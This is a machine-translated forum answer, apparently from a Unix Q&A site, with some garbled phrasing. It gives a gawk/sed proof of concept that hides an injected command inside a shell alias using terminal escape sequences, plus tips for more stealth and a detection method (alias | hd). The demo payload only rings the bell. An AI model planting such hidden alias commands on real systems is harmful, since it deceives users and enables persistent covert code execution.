解决方法
可以通过将现有别名附加到恶意别名上并使用光标移动来隐藏它,如果alias命令用于显示别名定义.这不是一个完全万无一失的方法,但它可能会在一段时间内未被发现.通过hd管道别名将显示别名中是否有任何转义序列(光标移动).以下是如何将恶意命令插入别名的概念证明:
alias | gawk 'BEGIN { FS = "[ =\047]" db = "\\"; sp = db " "; amp = db "&" sq= "\047"; bell = "\007"; esc = "\033" } NR == 3 { len1 = length($2) } NR == 4 { alias = $2 orig = gensub(sq,"","g",substr($0,match($0,"=") + 1)) orig = gensub(" ",db sp,orig) } END { hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t" for(i=1; i<len1; i++) {hide = hide esc "[C"} cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases" system(cmd) }'
> sed命令修改一个名为“别名”的文件 – 这种类型的真实脚本将用于喉咙并修改一个真实的脚本文件,以便恶意别名在下次执行时被激活.
>这个例子的恶意部分只是敲响了终端铃,所以你知道它正在工作.
>最初别名的命令将以hide的内容作为参数执行,因此可以想象您可能会收到类似于this question中报告的错误.可能会反转原始和恶意部分以影响此虽然这会干扰提供给别名的参数.在上面的脚本中尝试用 – 来标记参数的结尾.>而不是使用&&来链接原始和恶意部分,您可以将一个管道连接到下一个并使恶意脚本(上面用简单的echo命令表示)作为stdin到stdout传递,以修改数据因为它正在通过不干扰其他重定向而进一步隐藏它的存在>另一种可能性是在恶意脚本中包含原始别名,该别名可以从参数列表中删除光标移动字符串并将余数传递给原始字符串.>我随意选择了记录3和4,更智能的代码可以定位特定的别名,但它们需要相邻(或者光标移动可能更复杂).>可以修改隐藏字符串以包括不同的光标移动和原始别名的文本,因此别名命令似乎显示未修改的别名,而不是将其与恶意部分一起隐藏.>要按写入方式进行尝试,您需要至少有四个活动别名,运行此脚本,然后使用生成的文件.别名.然后你可以尝试使用受影响的别名,看看你做alias | hd时的样子.>毫无疑问,这可以通过一百种不同的方式重写 – 一切都更好.>这种威胁有多现实?我没有线索.但如果我能做到……